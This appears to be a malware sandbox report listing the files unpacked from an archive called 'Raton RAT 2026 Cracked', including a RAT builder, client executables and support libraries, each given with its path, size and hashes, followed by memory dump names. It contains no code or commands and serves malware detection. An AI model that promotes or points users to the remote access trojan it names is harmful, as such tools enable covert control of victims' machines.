SHA512 d30fd0043bb483e67700de48283d632811d45e89564ea6d9454b6a38dc3fee5440719224ec4085c70d21c665222f27dbb482ac5f578326a7698ecb7b46599b4c
SSDEEP 768:qNMJ4j7TupqLC+VHDvtiT8dMRrvCPRtbQDmZ1RnT+Geh:8uiCP8dIvMzbQDmcV
TLSH
T188E228195398CBBBC77E0E7944A211060376EA81B501FBED5EC8B1DD8D937520B60BE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

naudio.winmm.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\950BDAD80D65EA7FC5FD07F1244F1737\naudio.winmm.dll
Size 56KB
SHA256 3c8359bb74c6dabd2ec8ba561ffa163f24859ff5aef724fb5794073e2e883a02
MD5 c1b78af3d6402be8f259dbbe9250e7fb
SHA1 98e2c38597c50390852801d46ff342889c7351ae
SHA512 776d15d506798eb4a66d5cb5b45591e1767f4030f14aa91198fdf0bcad2e689835418629a1cd3f2af36add4809adb04dd3a850d9d8f2594b0737e72cecc437cf
SSDEEP 768:jpQFu52mn7eYuo4OzgyA90g01OcjDHvgxLMgGd8GbIDrXa8Rcer+7bE:lQ8hexo4QguNHvgxLufIDudE
TLSH
T1BA433B017BDD427AD2FE1B3DA0F30A524734A892756BFB4F1998F1DA9853B8049017B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

newtonsoft.json.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\950BDAD80D65EA7FC5FD07F1244F1737\newtonsoft.json.dll
Size 704KB
SHA256 f0c07af0e84d4dd4da4bd7823ba4535bc0481b3bf623ed40b659b68147a6bb75
MD5 24704261e701b49b51e40c1292ed149e
SHA1 db8ce5e0b7d8c14920bc9c4eebe51bdf706e3fc6
SHA512 8ef6a6196044862a9d8d53c6a88e68d9591edf244385bc4888cb9c16c942eeb4a1689c49245d6cf80d619e95f0745898513ed2b67a6fc4c65fbc06b872f72184
SSDEEP 12288:65RsO50fsVuW3icGomHAQ/DUHIdGFRrDTOAPKfhUUNSUmTIcvABXyoJl8fCfB5qm:om2VuaOKdKSUNz0IpBXyov8fC3
TLSH
T178E45B2177FC8E16D9EF2375B430D9181BF1F956A2BAE78FA504D9A51C837918C203A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stuff.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\950BDAD80D65EA7FC5FD07F1244F1737\stuff.dll
Size 11KB
SHA256 db4f07306bbddcc664051ee53db6f37f343f01bab6da7276cf1b600adcdfdf72
MD5 eb03b793d6b1097db7140fb35b180d1a
SHA1 a0217992399a54f32eb7b2bbfdfc9386bbf9bab9
SHA512 0a720886062f2edd6b21c3127c1f7c5c13f343072f80abb20ea25e5862c8e1d69a8de972b889f17da68ef692458ce1c46be38da97bc88255e6614414e9519b26
SSDEEP 192:MMHv3q/MgUd1q1BKX80YzCjD/WxM078iZW6LvEXzKSf5V0ux/qM8Z:Mwv51q1ymQoM078eW6AXzKsVrxtG
TLSH
T1E232181D5704D22FDABD0B3CB8A297652732F695A513EB8F2CC8A4BD695B3A406013E4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

36d068a7-0cde-45a6-a160-a99707a80344.tmp

Path C:\Users\Admin\Downloads\36d068a7-0cde-45a6-a160-a99707a80344.tmp
Size 16KB
SHA256 03395207e086c2f5340bf3644417199e5a016ef30aaa3b51967a0c4831147a8a
MD5 f5af39c939a93527fe3e3202c96e647b
SHA1 cb5d33e868f75a5b112186d6c5e550c984ef06b6
SHA512 fd84a62de23511e2594fb0917d9502e7c5fd027d4de087b2f32ca68d1fec96447205ee1504684be734d54568d3e73b518612a2305761295d385ae1b534c4063e
SSDEEP 384:2nmhtok+lHI0AmwM9yGnrO2jihjKEjlmfXRw+MDGUJjTlem:2neoVlHINmPnvihfjMFYGsTlH
TLSH
T14272C07F8E3BA050FA4D7B4817DF2732D4A6F78A446094EDEA6D3B68013E38951C116C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Raton_RAT_2026_Cracked.rar

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked.rar
Size 26.0MB
SHA256 7425488272e235a8c4b42cc8fb5785f5237df14744f2c729d93806a41ecc0761
MD5 d3bfcc40e27e8243dd610dc2722e77a4
SHA1 01b72bc06cabd365c959d4e66033be973acf3042
SHA512 e0983a5d7dd4476c1760a770f51fd9bf0e63e750846c63647310bd8539e56ca8d763921c3db743b67a202a7edac4046e4afee0547d3d96019cc9d278e01084a3
SSDEEP 393216:adETPoukFvajPAhRS1gZejK6McmV1Xc0VPMwnNJDLjlUpNhtSHe:a3BajIhmC53cmgWMuJDOrnT
TLSH
T1E95733D714B9CE12B8092098A87D7C281797E6D51DABDBCE28CF745D2A230E1CBBD315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bitcoin.png

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Assets\bitcoin.png
Size 694B
SHA256 3ad71aac44c3960f3c0640b78ae1f3879e34cfcbbd924f9d0a5429cbed77761c
MD5 47756e135c607683fd98df64b611a80b
SHA1 ab047fa72a51677bf37d73718c07e597809c7b2f
SHA512 5e3c626811d345e58fca957e61be73608ed325c2e147d37a8fca17291295207cde4ed10cad950fd24474332786efdb5055a2063df4de92f1b67766d3a9dea5fa
TLSH
T1460144E9F10068B2FC05A866506578BCFC77924C0B2A0229D4703DD00547F1961D4545
MD5 SHA1 SHA512 TLSH

Submit Download

builder.html

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Assets\builder.html
Size 20KB
SHA256 95155dfb76545f7daef728edfd1df0303e6240577487441389771b0f22162ecc
MD5 f6a895c63189fd51600a98db6f858e13
SHA1 4676ad050b9d542d2215dafbec1f1b7368335763
SHA512 a6433389a65e72a52aa5086840c6ce737da641eae76a71ecdc8082729f20a75e5483d1959c3e77de3793ca50b111a5e9da96786b96ad35ad964f9fbe364a59ee
SSDEEP 384:q9J6YFJoHurDu9f/KZByzgsSmLefe+eg60:q9J6YFJUdp+BNsM
TLSH
T153927370E18510665233D6E26BE28B1EFBF88017D60642287BFC538B0FF5D54DA63A9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

raton_welcome.mp3

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Audios\raton_welcome.mp3
Size 33KB
SHA256 d3991980806e562ad6f1474c34edd4de4b5ef452d479be6deb2e2ec01b898de7
MD5 112242ebacd9df44f7912221236ca825
SHA1 790fe96a3b240cca984d7c5727fbb61334a133c5
SHA512 9939e497a4ee6d74198f7222187d1bcd0fdd29dc514c4d3c680c599d6b6d011ae8181195f86ed02ec14d324d81e7da310eb5bb4205285b50156f92a233fd96ae
SSDEEP 768:VSmbel0VDdsaNLcXPoLOSbGBl2soNhkiv3lg:zeOGaigLO04loS
TLSH
T1CCF2E1B9068F4D00E8E20F3265F9D040B0AFCD751F557BC0A29687E43CA8395BBA42A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

clientForNull.exe

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Builder\clientForNull.exe
Size 1.8MB
SHA256 59130c82bf919d2144ed0f4fc3a0a5cb3568c7c9b62b9603366df311d90811bb
MD5 f73ab1ca31c8bff76ce55403c6ec5602
SHA1 1e17685da61e75900d5037c52fd300876c373751
SHA512 3a75fac14f5f89c8eb403f08c0b717ae87a8130c4793f10d8090e10b75fcf355ddba48740054d13cab528e005b0d7409a56751983275706a846a189627c64538
SSDEEP 24576:weN8CrmiaunV5vQ2ue52wWLt3QA2cWAnOEvSrtv94TP0lRRkxYcxMNnyFoBOkA6N:fiGWU5+5WD1sclR0BxMsaRw4myO8
TLSH
T16495F11C33F98A18F2AF0BF4E97185564771FE178C12DB6D59E579DE00B2F48A620B22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DiscordRPC.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\DiscordRPC.dll
Size 90KB
SHA256 44d71f4c058cf8d0e531a1a1d5e9d892bae0784479509be3d921a7c59b85270d
MD5 9f747cc51687d853f92f70a537ff6ca6
SHA1 5efe5fbbe266066572d15a138bbff2bc0c578a46
SHA512 87855c0a47336c9c48c1e5726fa80c631d612c0b024e259376cde324dbb91c15131d7cff60c79f97d7987d234ed5b22ec6f2c4d20d6586b4143c9853cf87511b
SSDEEP 1536:KOBvajHhXD0UroUVBxECc7kGFkgfLM9wUwRDzJO+mHxULSiI:mjBXfroGxECzGbokR4+meI
TLSH
T102933A6597FC4679E2BE2B34E4B052410BFAB989B931D79F4A0810CE1E13BC25D617B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GMap.NET.Core.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\GMap.NET.Core.dll
Size 304KB
SHA256 b260bd61d577d7cf6daf5e954a8b894999441833c33ef270c9e73d7dd8580dc6
MD5 112a37e4e190b6af687fc71a8518562f
SHA1 3be3c34b4245cb8c27b348acf0273592b84a8822
SHA512 a6ed4ad3ddfab121176818273b9f9f2ed3bd0c6d37a6f5173ae1256ba6dee47e2c6f40d763885934b2736380d74a0bfb0ded7cc7d24e0d847d378c485ef48ab4
SSDEEP 6144:FFj7zE9i6vGyNr9Fb8d+Vb8uJgbqefHLBBlwePz:7j7zki6vGyJPb9VP0H
TLSH
T1E9644B1827E8962BEFFF4B7AD0701D2E5274E01662BADF6D4694A1FB2D137827400673
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GMap.NET.WindowsForms.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\GMap.NET.WindowsForms.dll
Size 154KB
SHA256 f09c31a7f0cde63b914826fcd8b47e7267394175d3fab30cb9615519e5817e5f
MD5 2110dc2c787880b9ed2ef58f17cf8da9
SHA1 24edeb5fdd96af28425e28f2682f9874c3f9733c
SHA512 095a26c3c7389fcabc9f5ff24d4877879d84513e628a20248bae693f1a2241a583e398f8662131dd21c07d919c06bf3d9af54f68f10a6e361e1c0f09e1dc8d31
SSDEEP 3072:oPP4oYc0UGujmTXh7ALGD9vgAJcLv+IEJawdS5DBRS9LXf+6qbugi7vRq:KccbGucgK9vd/0rS9jf+6qq
TLSH
T163F39DA273948D7FC66F47BDA0A140C1273AFA02F692D35D5D9070BC4D93B146B227AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

desktop.ini

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Icons\desktop.ini
Size 216B
SHA256 f318004857bb7f6d56ee7ab53e886be82e7f1eec25ca6681ee4bb2099b140cbd
MD5 27509ab6f2e90479cf3de19f2c58d542
SHA1 39b5ab177010053504c2d2b7d52199a1b1e36ca9
SHA512 f6105b79b751cb200214327dbe79b47872760dc4a47cf74c1e5022b62e54c3af3c6fd2156f2b97456d0305e1d5c99dd278c3df0f20da4e0f8e2c6f3141bf1d20
TLSH
T1C9D0C95A05F7B022CF2517904C1F0246F0B750598DD4EC068A834B26B1034CB7409B80
MD5 SHA1 SHA512 TLSH

Submit Download

Microsoft.Bcl.AsyncInterfaces.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Microsoft.Bcl.AsyncInterfaces.dll
Size 20KB
SHA256 ed5bc605f7f9fcc382183abef06c354dad946abb42a07631712077b2157d6bc9
MD5 5220eefd7753e11b99d73faf39fbb486
SHA1 7d8264be4fcb17f81acb8b1add980cd96a6fd856
SHA512 81e483bd76240543704194c0eb0c8a9e7dc46aa535653e7d5590e00c002b2980237ada793c05c0eedd5d1a92de90055867b21be665ff94fac038e280939c66c1
SSDEEP 384:Re/UHMWL60VJI0yydaVemxAqD2WepAoWbQHRN7F/Gw6lxA0Zua:c/UsKV9Ki658F+Hua
TLSH
T175924B55C3AC4327DFAB3FB695B4DA432E34D3821802D66E185CF2A52CD73899B35368
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NAudio.Core.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\NAudio.Core.dll
Size 183KB
SHA256 fcf493fc47a2f478a65303886b975fbdbf714cbb1f2d79f7fce97e4bb16b01a8
MD5 48867f392b8e77dc06c062638c6fbd36
SHA1 ccc0931e2cf3d6d79e24c1f28d9c96b40c131af6
SHA512 b536e18c482dcf810ec30b9a943ec06e0ca4f6f2bd8f187b807a9a9fd90d28c4c2fb69bada4766c72e0b7942f5e7d40dd94b193ab01e68f666838698bbb473bc
SSDEEP 3072:n5nFpdQWUY6GwfIGsnLRp2qr2eeY0nVuEtEVEOUkk6uSYsM+S76t:jpdQJY6GwfIGyRp2qI/VZtEVETtHG
TLSH
T1CE046D2963E84256E5AFABB1F0F208175BF1F4463037DB0E5D806AE92A07B11C562F77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NAudio.Wasapi.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\NAudio.Wasapi.dll
Size 175KB
SHA256 618ef0e49d64e7a66dfe64bbf6ae81705b9d9683d8a9f321e5c3024d666bdf82
MD5 278ebb79da14ecf8e0559530c2fda076
SHA1 8a45f0400f6bc46d254120345fd5e39b6c9b71a1
SHA512 f789600a820ff4286cb323c4f9dfb6b44001be9295bb24973308363a2668761055e807c7ebcb53900293f4be71c6b5ca328075c230b1ea8270f0d76e3ec477bc
SSDEEP 3072:ZTo4k5xAt4T6awobjXGUHVUbLuh9aaWIiEKILT9rPr/duoSabKj5BIfgmFyjaKv9:ZTxk5xc4W+VU69aaWfIFzDoI44
TLSH
T121046C3537E88967C1EF97B4F8F2294787B1E0463A13AF8D15C45F256D13BA24804BAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NAudio.WinMM.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\NAudio.WinMM.dll
Size 56KB
SHA256 749a01ebbb5edd8b1a03c5263b04de6acadecf52e4cc84d7412bc6e93f180958
MD5 faf1ba532964984a34d60674fbc7a5a7
SHA1 0999178949de510a47d87de3b8a117a003c572ee
SHA512 d23b783bfd55a09c726ba09d627dfcc6c22a6e7bed8a53dff72c349bbe6fb190afb574cc267b7bebed1540b0bf834f259b5d03b50e023881b3ec42a8b2b57f1f
SSDEEP 768:cQFu51JOtZ+Wr3CJBTNoNfDhPrDVSvxu1tEMgGd8GbpDrXa8Rcer+7Ul:cQ8zvWr3CJZNYDhP9Svxu1tEufpDuil
TLSH
T12A434B013BD8427AD2FE1B3EA1F30A524731A8D6796BFB4F1598F1DA9853B8049017B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NAudio.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\NAudio.dll
Size 7KB
SHA256 8bf0f2e8dadf3967757191c2212c269333ccd9d7e59839eea968212c64787be9
MD5 c583aa3819b16ae53859f728f59ea9a0
SHA1 b699e8e2cfc52bc3cfba182fdabfc7f6ff8f82de
SHA512 580fa002b890c6c36dd907b40a121153eb12192721e67b7209c9bffedf8e18128b75ed454d813b67c67040fe5869816ac10e624cd8dce68917a85dd5426a490b
SSDEEP 96:GBFskeJHn4jZkcLqEm5Nj7AVUhkon1MrtrRGD5pkQa1LrjSd2V:G7kHn4kcLaj7zSon1MRlvQa1fjSm
TLSH
T14AF1D729A398C676CA674BF1A42703400339EB40EA57CB2D0D9CA59FFD133185AB27D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Newtonsoft.Json.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Newtonsoft.Json.dll
Size 695KB
SHA256 e1e27af7b07eeedf5ce71a9255f0422816a6fc5849a483c6714e1b472044fa9d
MD5 195ffb7167db3219b217c4fd439eedd6
SHA1 1e76e6099570ede620b76ed47cf8d03a936d49f8
SHA512 56eb7f070929b239642dab729537dde2c2287bdb852ad9e80b5358c74b14bc2b2dded910d0e3b6304ea27eb587e5f19db0a92e1cbae6a70fb20b4ef05057e4ac
SSDEEP 12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
TLSH
T166E4394123F98F2BE1AF6B75B4704E1543F9F917A6B5E78F9A04D9A91C43B408E403A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Raton.exe

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe
Size 15.5MB
SHA256 9017749ca3bf56d30e657478655ef56d6a657575d02836420cc963a54144faff
MD5 bea270c04c76c1848469e57b8f0db34a
SHA1 5a71479194f615735d86cc56d10ad9b848a4ca52
SHA512 3044fbfe52d2291ea6c1af48b38ffdf903b1ec30993890ee7e60464739ae5474a5dd18a06db49aee7b7033acdb17c4053e22ce79fba4e6687a525e8aefaaaa78
SSDEEP 393216:9IurGIdEZ3WEVso96vyKy6X5msvyKy6X5mO7n9evZoJTwCW:muqoemEsypuypwx7JTwZ
TLSH
T1E8F6230232E3EF1AC93F46F505A1168193A3536995A5DFFDF85186882CDA3E0B9C53E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Raton.exe.config

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe.config
Size 2KB
SHA256 5c17129a4dcda12e2aca3f1959a8aeeca931b631be838f658bbafa6fc0d608a0
MD5 26fba13095ab4745ff71512b8cedc7b0
SHA1 25dc6d78fe3ce6ec3642b999aeb4c335958e7bf2
SHA512 cc1ae4aa640de1b605c13ce0aa070fa2b2c7852f3423e51e377b662fa6d6303df9b9708ddd4e0a9a84bdf88debb910a3ac3d4d0fea4332fc08528efab11b3264
TLSH
T1E8419DB485CD9EBD053109537979C490C7ED43A3E4990889B4DE25ABCBA3CC52317366
MD5 SHA1 SHA512 TLSH

Submit Download

Stuff.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Stuff.dll
Size 12KB
SHA256 d8ee0fc96ce8de2e37bc8fdc051da7c1852b9a510270e663ba17281de23f049b
MD5 f8d5274e3368aa40cc0fd5798d19c783
SHA1 87f87d8c2b468fb87d82c3f5a849936c08d7a67c
SHA512 fa3f106d4ab31c0d516b4623f3108b29c05993a6e65e6e1f1a49e7d101860f78c63843743c3e560c2891fccade27e6024e7b1566d4b99dd0fa90480c1d1a45bc
SSDEEP 192:cl/e0xEXKl04vygxTppSYgDnWgdCpZ8u8u8u8u8u8u8u8u2JHqW6LvEX6KSf5V00:cl/nxEXKl04vygkJ9dddddddBAW6AX6d
TLSH
T15D42192DB784866FD96C0B3EB86622541772EA30AE63DF8F1CC4B03E7D6735885505B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Buffers.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Buffers.dll
Size 20KB
SHA256 accccfbe45d9f08ffeed9916e37b33e98c65be012cfff6e7fa7b67210ce1fefb
MD5 ecdfe8ede869d2ccc6bf99981ea96400
SHA1 2f410a0396bc148ed533ad49b6415fb58dd4d641
SHA512 5fc7fee5c25cb2eee19737068968e00a00961c257271b420f594e5a0da0559502d04ee6ba2d8d2aad77f3769622f6743a5ee8dae23f8f993f33fb09ed8db2741
SSDEEP 384:/rMdp9yXOfPfAxR5zwWvYW8a2cyHRN7vCvlbLg:/rMcXP6N6e
TLSH
T156926D12DBAC4213DE3B2E7012A4C9C62E3AD3C66A11DB5E1848F5591ED37CACF11B6D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Data.SQLite.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Data.SQLite.dll
Size 384KB
SHA256 5fac5a9e9b8bbdad6cf661dbf3187e395914cd7139e34b725906efbb60122c0d
MD5 55c797383dbbbfe93c0fe3215b99b8ec
SHA1 1b089157f3d8ae64c62ea15cdad3d82eafa1df4b
SHA512 648a7da0bcda6ccd31b4d6cdc1c90c3bc3c11023fcceb569f1972b8f6ab8f92452d1a80205038edcf409669265b6756ba0da6b1a734bd1ae4b6c527bbebb8757
SSDEEP 12288:5vXCrbE724yjK3r/fFNFfcaFeFOFwcGF6cmFWc0FWc8cIcKcUFJFpcNcHc7cbchs:h8dDm3r/7
TLSH
T122845BA423EC2A19E1FF5774E8F068408B70F452ABAAD31D78C054A92D27B41BD537B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Memory.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Memory.dll
Size 137KB
SHA256 8e76318e8b06692abf7dab1169d27d15557f7f0a34d36af6463eff0fe21213c7
MD5 6fb95a357a3f7e88ade5c1629e2801f8
SHA1 19bf79600b716523b5317b9a7b68760ae5d55741
SHA512 293d8c709bc68d2c980a0df423741ce06d05ff757077e63986d34cb6459f9623a024d12ef35a280f50d3d516d98abe193213b9ca71bfde2a9fe8753b1a6de2f0
SSDEEP 3072:IUGrszKKLBFa9DvrJGeesIf3afNs2AldfI:jBFd3/aFs2
TLSH
T136D37D6857C6DE56DB5FEC70E02062056631C52F5742BBEE1DC8B8F036923DA29093FA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Numerics.Vectors.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Numerics.Vectors.dll
Size 113KB
SHA256 1d3ef8698281e7cf7371d1554afef5872b39f96c26da772210a33da041ba1183
MD5 aaa2cbf14e06e9d3586d8a4ed455db33
SHA1 3d216458740ad5cb05bc5f7c3491cde44a1e5df0
SHA512 0b14a039ca67982794a2bb69974ef04a7fbee3686d7364f8f4db70ea6259d29640cbb83d5b544d92fa1d3676c7619cd580ff45671a2bb4753ed8b383597c6da8
SSDEEP 1536:nPOw0SUUKw+GbgjMV+fCY1UiiGZ6qetMXIAMZ2zstK/hV+sUwS:nWw0SUUKBM8aOUiiGw7qa9tK/bJS
TLSH
T174B387E37F1EA476C7CE857F24F74E1D62B52A57C523D6B640CA5AA2016339B28040FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Runtime.CompilerServices.Unsafe.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Runtime.CompilerServices.Unsafe.dll
Size 18KB
SHA256 08cbd7278b66f1e68425a82d4b97181a4130d93e3dd91831407aba7212ccdacf
MD5 cb5b861883d2bddd9833c9fe956406f7
SHA1 43290cd4aaf80df5d1cf9f242486ef8e646fddda
SHA512 79de2065d8af3713662afb2a10e0a62c0821920608cc63cc2a47a09dc7bb6baf1fa71612da3ebe22d410ddc92fe52c0261faa019839d241fe9252d1663f4f4c1
SSDEEP 384:RGbUedrbbxT4WT2WCwnHRN7bEpGR9z04yy:RGpd1R3XbEY9z
TLSH
T1F0827C24C7E44503FE627F3485ACE543BE3893960902D72B2582F57A0C973D8AE35A2C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Text.Encodings.Web.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Text.Encodings.Web.dll
Size 56KB
SHA256 a0ca4a931340c9bb6fb5d0c94d5cdfbb09129dd0658f035ea5ca17c1b56ccc0d
MD5 2cedac7fe91135900319fa0b323a2979
SHA1 0fc31e6e37cf747962088d7bd1357ade2cf03524
SHA512 4ad60d04ad974097a5b9974dc01a4dc16dab330c9325419ccedbb7cde459b8a7f556402cec723046915d629e172318d67fa34ba836e10566ab4d0e526f82f492
SSDEEP 768:+Jrb3/igIz0TWMODmHOIMBHgEcPexpOUwqil9gKNAkq8zdw:+5Lig79NDMpBcmTOU0l9gKNJHzdw
TLSH
T161432A04E39CC59EC69E0634355280B0EAB8AF5BD7A3B6875D547D0E5BB33CCA20D5A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Text.Json.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Text.Json.dll
Size 285KB
SHA256 c363ffd829feb879158a3118df583955ad43b1f64ef417328292f5153e47119d
MD5 1b8e1b9da913a7d40c7288d1a433b658
SHA1 e273ddadf02bfb4556beb58ed46d191c55e8d770
SHA512 1bb86cc8bda1e1284fcc07a476f816d97d26331920d3b818bcaa566601552d0178dc45b201d826fda0e0593d2e41d566e2b9278b5feeaabca9028ec60bb3c9a1
SSDEEP 3072:+trBeoPMc1zg/BZyooUhEBfhrwrHUPd5gJYkh6iaLVZTrjxN/wYWiKW4BA3Rbdnc:wkoPdfBfhrwrf2wLVW4BA3RJkl7vInlk
TLSH
T1B8543A2463ECA65BEACF4674E0348802DF79F1AA7B5BF34D040858FD5883B85D8566B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Threading.Tasks.Extensions.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\System.Threading.Tasks.Extensions.dll
Size 32KB
SHA256 2c9cad6410e37e44fa73cccb576f418184f1ae5a0a257e165a136bdaa941a0c6
MD5 0f384afcf671483188b9019d3b7457a7
SHA1 79a73a170ba0596d8e84a432dd2caa2faf831bee
SHA512 713dfea9fcad5dd6924c3fdeb0d279d104c85df5c12b2ca125868fa71a6f2db14f098473233902d5783d8276369d6f9903ab4c096fc88daee10a84cba418090f
SSDEEP 384:KR9PEIXHrMzTGaBb05Mlw065eUGef8x72tdGanWsJWXGtF0GftpBjOzc4HRN7cJ5:KRFRXAvGSYSbBE+c+iwzBc+Kl
TLSH
T1DEE28D458BAC6153DFE75E34A2B2D9037F38EB875901E269595DF2E80C433C9AB2413C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dnlib.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\dnlib.dll
Size 1.1MB
SHA256 97ef5328d1d1703924c48d9cd1d45b7227fe3836e116dcded623b6a0dbd52c23
MD5 c087c70deb98db9d0b046d0a3d0e582a
SHA1 f195b25b9c2d85006e15dce3b0b22eab6a4d16a9
SHA512 9a1c40ef39ea5cb28ace6ba069b1afbf55ca47e4189b06d3cd033cbf7d01a838e7b5edb0e8578547a219a312446a5c2daa68e784ba2fb5c1c799dcc4500ab24c
SSDEEP 24576:ct140a1plV+Th8rQ7F/qy0EFXnh8MviJa319Iv7f1NGgV:LIwy
TLSH
T12B456C1137FD9B77E06F873AE835061903F1D406A697EF4F6A54ABAA6C833685C00397
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SQLite.Interop.dll

Path C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\x64\SQLite.Interop.dll
Size 1.7MB
SHA256 9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961
MD5 56a504a34d2cfbfc7eaa2b68e34af8ad
SHA1 426b48b0f3b691e3bb29f465aed9b936f29fc8cc
SHA512 170c3645083d869e2368ee16325d7edaeba2d8f1d3d4a6a1054cfdd8616e03073772eeae30c8f79a93173825f83891e7b0e4fd89ef416808359f715a641747d7
SSDEEP 24576:YPUxmkgSxPgobZPRjZ22H6edtOZzWySRO3mlE0i/Yl5P+qF+8k+ao/si6:8UxXPgo8e6WYBSJZSS5P97I
TLSH
T154858D4AB3B8019DD567C17DC6675B07EBB174022310ABDB17A08AAA2F13FE5177E324
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ratonClient.exe

Path C:\Users\Admin\Downloads\ratonClient.exe
Size 1.8MB
SHA256 c9d19df4e6893f22157faef5d682657af3e7c49e260eff8094a0ab31a07c4f36
MD5 66a23bca1f2531831489ade3e0aafef5
SHA1 0d6954e5410468cb9dfe0b55df33deb5f1be9aba
SHA512 1bb70bfd876d59bfe0d2bedf51a77662a90a370e2d439815a35c083047e684ed0eeb04a1ccf06919d03a8d22976b1a7df8631b70d6d82c914900edb431e49819
SSDEEP 24576:97dq8CrmiaunV5vQ2ue52wWLt3QA2cWAnOEvSrtv94TP0lRRkxYcxMNnyFoBOkAV:WiGWU5+5WD1sclR0BxMsaRw4SyOf
TLSH
T1D595F11C33F98A18F2AF0BF4E97185564771FE178C22DB6D59E579DE00B2F48A620B12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2904-1128-0x000002C5AFA90000-0x000002C5AFACA000-memory.dmp

Download

memory/2904-1084-0x000002C5FFD70000-0x000002C5FFDC2000-memory.dmp

Download

memory/2904-1145-0x000002C5FF2F0000-0x000002C5FF2FA000-memory.dmp

Download

memory/2904-1141-0x000002C5FFEE0000-0x000002C5FFEFE000-memory.dmp

Download

memory/2904-1138-0x000002C5FFF40000-0x000002C5FFF72000-memory.dmp

Download

memory/2904-1160-0x000002C600130000-0x000002C600256000-memory.dmp

Download

memory/2904-1129-0x000002C5AFA50000-0x000002C5AFA77000-memory.dmp

Download

memory/2904-1094-0x000002C5FFDD0000-0x000002C5FFE32000-memory.dmp

Download

memory/2904-1102-0x000002C5FF210000-0x000002C5FF21A000-memory.dmp

Download

memory/2904-1109-0x000002C5FFC00000-0x000002C5FFC1A000-memory.dmp

Download

memory/2904-1108-0x000002C5FF300000-0x000002C5FF312000-memory.dmp

Download

